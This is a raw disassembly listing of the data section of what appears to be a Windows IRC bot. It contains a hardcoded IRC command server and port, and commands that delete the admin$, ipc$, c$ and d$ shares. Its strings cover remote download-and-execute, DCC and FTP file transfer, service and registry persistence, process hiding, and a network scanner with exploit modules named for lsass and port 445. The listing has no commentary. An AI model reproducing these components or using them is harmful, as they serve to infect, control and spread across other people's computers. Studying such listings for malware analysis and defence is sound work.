dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A2o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP01',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAyssds4ddklfsd	db 'ayssds4ddklfsdsdsfssas',0 ; DATA XREF: sub_4077E0+337o
		align 10h
		dd 0
aIgfsfdfsd3sda2	db 'igfsfdfsd3sda2ss.exe',0 ; DATA XREF: sub_4077E0+326o
		align 10h
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
aFor		db '##for',0            ; DATA XREF: sub_4077E0+307o
		align 10h
aFor_0		db '##for##',0          ; DATA XREF: sub_4077E0+2F6o
		dd 0
a3267		db '3267',0             ; DATA XREF: sub_4077E0+29Bo
		align 4
aIrc_alfree5_in	db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o
		align 4
off_4448A8	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 10h
a_?avexception@	db '.?AVexception@@',0
		dd 2 dup(0)
off_4448C8	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_4448F0	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
		dd 2 dup(0)
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 10h
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 4
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 4
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 10h
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
		dd 2 dup(0)
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 8
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 4
dword_444A18	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
					; sub_5F45E7+99o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 10h
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 10h
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 10h
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 10h
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		dd 2 dup(0)
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444AEC:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 10h
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 4
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 4
aBai_0		db ' -bai ',0
		align 10h
aSCS		db '%s%c%s',0
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 4
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 4
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 8
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 4
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 10h
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 10h
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 10h
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 8
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 4
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 10h
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 4
		dd 0
asc_444C6C	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 10h
asc_444C70:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C7C:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 10h
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 10h
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 10h
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 4
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 8
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 10h
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 10h
asc_444D20:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D24:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D28	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D2C	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 10h
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 4
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 10h
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 4
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 10h
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D6C	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D70	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D7C	dd 652Dh	dword_444D80	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 4
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DBC	db 1			; DATA XREF: sub_41A390r
		align 10h
dword_444DC0	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444E0C:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E20	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E34	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E6C	dd 63257325h, 0						; sub_41F960+E5o
dword_444E74	dd 72h		dword_444E78	dd 30h							; sub_424920+327o
dword_444E7C	dd 3039h	dword_444E80	dd 383631h	dword_444E84	dd 323931h	dword_444E88	dd 3631h	dword_444E8C	dd 323731h	dword_444E90	dd 3031h	off_444E94	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E98	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E9C	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444EA0	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444EA4	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 10h
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 10h
asc_444EE0	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 10h
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 8
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 8
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FE4	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FF4	dd 6469706Bh, 7325203Ah, 0dword_445000	dd 203A736Bh, 7325hdword_445008	dd 202E6425h, 7325202Fh, 0dword_445014	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 8
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 10h
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 4
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 10h
asc_445090:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 8
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 10h
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 10h
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 8
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 10h
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 8
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 10h
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 10h
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 10h
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 10h
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 10h
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 10h
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 10h
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_44530C	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_445324	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 4
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 8
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 10h
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 10h
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 10h
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 4
asc_4453F8:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 4
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445430	dd 1BDh							; sub_422B40+310o ...
off_445434	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445438	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 4
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 10h
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 10h
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 4
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 10h
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
off_4455F8	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
dword_4455FC	dd 722D20h						; sub_422B40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422B40+640o
		align 8
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422B40+397o
		align 8
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422B40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 10h
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 10h
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 10h
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 10h
		dd 0
dword_4456F4	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 8
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
		dd 2 dup(0)
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
		align 10h
